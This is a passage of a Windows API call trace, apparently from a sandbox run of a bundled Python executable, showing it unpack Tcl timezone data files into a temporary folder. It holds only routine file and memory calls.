lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Malta") returned 69 [0042.583] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Malta" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\malta"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.583] GetLastError () returned 0x2 [0042.583] SetLastError (dwErrCode=0x2) [0042.583] GetLastError () returned 0x2 [0042.583] SetLastError (dwErrCode=0x2) [0042.583] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Malta", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Malta", lpFilePart=0x0) returned 0x44 [0042.583] GetLastError () returned 0x2 [0042.583] SetLastError (dwErrCode=0x2) [0042.583] GetLastError () returned 0x2 [0042.583] SetLastError (dwErrCode=0x2) [0042.583] GetLastError () returned 0x2 [0042.583] SetLastError (dwErrCode=0x2) [0042.583] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Malta") returned 69 [0042.583] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.583] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Malta" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\malta"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.584] GetFileType (hFile=0x10c) returned 0x1 [0042.584] htonl (hostlong=0xe9200000) returned 0x20e9 [0042.584] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0042.587] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.587] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe9, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xe9, lpOverlapped=0x0) returned 1 [0042.587] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.587] CloseHandle (hObject=0x10c) returned 1 [0042.587] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.587] htonl (hostlong=0x30000000) returned 0x30 [0042.587] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.587] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.587] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.587] GetFileType (hFile=0x10c) returned 0x1 [0042.587] htonl (hostlong=0xb2515c00) returned 0x5c51b2 [0042.587] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6101b2, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.587] htonl (hostlong=0x8d000000) returned 0x8d [0042.587] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8d) returned 0x55cfe0 [0042.588] htonl (hostlong=0x8d000000) returned 0x8d [0042.588] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.588] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.588] htonl (hostlong=0xb9000000) returned 0xb9 [0042.588] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb9) returned 0x55e170 [0042.588] htonl (hostlong=0x8d000000) returned 0x8d [0042.588] htonl (hostlong=0xb9000000) returned 0xb9 [0042.588] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.588] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.588] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.588] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.588] CloseHandle (hObject=0x10c) returned 1 [0042.588] GetLastError () returned 0x0 [0042.588] SetLastError (dwErrCode=0x0) [0042.588] GetLastError () returned 0x0 [0042.588] SetLastError (dwErrCode=0x0) [0042.588] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.588] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.588] GetFileType (hFile=0x10c) returned 0x1 [0042.588] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.588] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.588] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.588] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.588] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.588] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.588] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.589] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.589] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.589] CloseHandle (hObject=0x10c) returned 1 [0042.589] GetLastError () returned 0x0 [0042.589] SetLastError (dwErrCode=0x0) [0042.589] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.589] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.589] GetFileType (hFile=0x10c) returned 0x1 [0042.589] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.589] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.589] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.589] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.589] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.589] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.589] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.589] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.589] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.589] CloseHandle (hObject=0x10c) returned 1 [0042.589] GetLastError () returned 0x0 [0042.589] SetLastError (dwErrCode=0x0) [0042.589] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.589] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.589] GetFileType (hFile=0x10c) returned 0x1 [0042.589] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.590] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.590] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.590] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.590] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.590] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.590] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.590] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.590] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.590] CloseHandle (hObject=0x10c) returned 1 [0042.590] GetLastError () returned 0x0 [0042.590] SetLastError (dwErrCode=0x0) [0042.590] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Mariehamn") returned 73 [0042.590] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Mariehamn" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\mariehamn"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.590] GetLastError () returned 0x2 [0042.590] SetLastError (dwErrCode=0x2) [0042.590] GetLastError () returned 0x2 [0042.590] SetLastError (dwErrCode=0x2) [0042.590] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Mariehamn", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Mariehamn", lpFilePart=0x0) returned 0x48 [0042.590] GetLastError () returned 0x2 [0042.590] SetLastError (dwErrCode=0x2) [0042.590] GetLastError () returned 0x2 [0042.590] SetLastError (dwErrCode=0x2) [0042.590] GetLastError () returned 0x2 [0042.590] SetLastError (dwErrCode=0x2) [0042.590] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Mariehamn") returned 73 [0042.590] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.590] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Mariehamn" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\mariehamn"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.591] GetFileType (hFile=0x10c) returned 0x1 [0042.591] htonl (hostlong=0xb9000000) returned 0xb9 [0042.591] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.591] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb9, lpOverlapped=0x0) returned 1 [0042.592] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.592] CloseHandle (hObject=0x10c) returned 1 [0042.592] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e170 | out: hHeap=0x530000) returned 1 [0042.592] htonl (hostlong=0x30000000) returned 0x30 [0042.592] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.592] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.592] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.592] GetFileType (hFile=0x10c) returned 0x1 [0042.592] htonl (hostlong=0x3f525c00) returned 0x5c523f [0042.592] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61023f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.592] htonl (hostlong=0x32020000) returned 0x232 [0042.593] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x232) returned 0x550600 [0042.593] htonl (hostlong=0x32020000) returned 0x232 [0042.593] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.593] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.593] htonl (hostlong=0x18080000) returned 0x818 [0042.593] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x818) returned 0x55e278 [0042.593] htonl (hostlong=0x32020000) returned 0x232 [0042.593] htonl (hostlong=0x18080000) returned 0x818 [0042.593] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.593] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.593] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.593] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.593] CloseHandle (hObject=0x10c) returned 1 [0042.593] GetLastError () returned 0x0 [0042.593] SetLastError (dwErrCode=0x0) [0042.593] GetLastError () returned 0x0 [0042.593] SetLastError (dwErrCode=0x0) [0042.593] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.593] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.593] GetFileType (hFile=0x10c) returned 0x1 [0042.593] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.593] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.593] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.593] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.593] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.593] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.594] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.594] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.594] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.594] CloseHandle (hObject=0x10c) returned 1 [0042.594] GetLastError () returned 0x0 [0042.594] SetLastError (dwErrCode=0x0) [0042.594] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.594] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.594] GetFileType (hFile=0x10c) returned 0x1 [0042.594] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.594] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.594] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.594] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.594] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.594] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.594] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.594] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.594] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.594] CloseHandle (hObject=0x10c) returned 1 [0042.594] GetLastError () returned 0x0 [0042.594] SetLastError (dwErrCode=0x0) [0042.594] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.594] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.594] GetFileType (hFile=0x10c) returned 0x1 [0042.594] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.595] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.595] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.595] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.595] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.595] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.595] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.595] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.595] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.595] CloseHandle (hObject=0x10c) returned 1 [0042.595] GetLastError () returned 0x0 [0042.595] SetLastError (dwErrCode=0x0) [0042.595] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Minsk") returned 69 [0042.595] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Minsk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\minsk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.595] GetLastError () returned 0x2 [0042.595] SetLastError (dwErrCode=0x2) [0042.595] GetLastError () returned 0x2 [0042.595] SetLastError (dwErrCode=0x2) [0042.595] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Minsk", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Minsk", lpFilePart=0x0) returned 0x44 [0042.595] GetLastError () returned 0x2 [0042.595] SetLastError (dwErrCode=0x2) [0042.595] GetLastError () returned 0x2 [0042.595] 